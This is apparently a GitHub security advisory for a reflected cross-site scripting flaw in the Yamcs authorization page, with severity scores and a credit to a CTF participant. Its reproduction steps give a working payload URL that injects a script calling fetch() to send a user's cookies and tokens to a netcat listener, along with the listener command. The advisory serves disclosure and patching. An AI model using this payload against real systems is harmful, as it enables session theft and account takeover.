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GHSA-rxpg-wjf8-qv9c

MediumCVSS 6.5 / 10
Published Aug 28, 2026·Last modified Aug 28, 2026
Affected Components(1)
Maven logoorg.yamcs/yamcs-core
< 5.9.4
Description

Attack type: 

Unauthenticated remote 

Impact:

Attackers can execute arbitrary JavaScript in a user's browser, including obtaining a user's session token and refresh token.

Affected components: authorize.html, AuthHandler.java, HandlerContext.java

A Reflected Cross-Site Scripting vulnerability exists in Yamcs <=5.8.6, allowing an attacker to execute arbitrary JavaScript in a Yamcs user's browser. This vulnerability can be exploited to exfiltrate a logged-in user's access token and send it to a remote server, leading to the takeover of the user's account.

Using a specially crafted URL, you are able to execute a JavaScript alert() call in the browser:

<img width="1794" height="816" alt="image" src="https://github.com/user-attachments/assets/4a5b6aa4-bceb-4b3d-bc5d-3dac0895ff2e" />

You then use JavaScript to obtain the user's cookies and display them in the alert:

<img width="1794" height="1290" alt="image" src="https://github.com/user-attachments/assets/6c6d2837-db77-409a-a66d-0d2e4edd5435" />

Finally, use the fetch function to send the user's cookies to a remote server which we controlled:

<img width="2370" height="1025" alt="image" src="https://github.com/user-attachments/assets/2989fc79-6ca0-4256-afc4-71d44d9923b8" />

Now you can set these cookies in our own browser and login to Yamcs as the user.

Steps to Reproduce

  1. Start Yamcs
  2. Login as a user
  3. In a terminal, start a netcat listener:
nc -nlvp 8888
  1. Paste the following URL payload in the browser
http://localhost:8090/auth/authorize?client_id=yamcs-web&state=Lw&response_mode=query&response_type=code&scope=openid&redirect_uri=http%3A%2F%2Flocalhost:8090%2Fcbi0i7y"><script>fetch(`http://localhost:8888?c=${document.cookie}`)<%2Fscript>ekuou
  1. You will receive a connection on your netcat listener containing the user's access token and refresh token.

Acknowledgements

This vulnerability was discovered by Abderrahim Dahmani while solving a STARPWN 2025 CTF challenge at DEFCON 33 offered by VisionSpace Technologies.

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Risk Scores
Base Score
6.5

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. The attacker needs the user to perform some action, like clicking a link. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information.

Threat Intelligence
6.0

Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.

EPSS
1.31%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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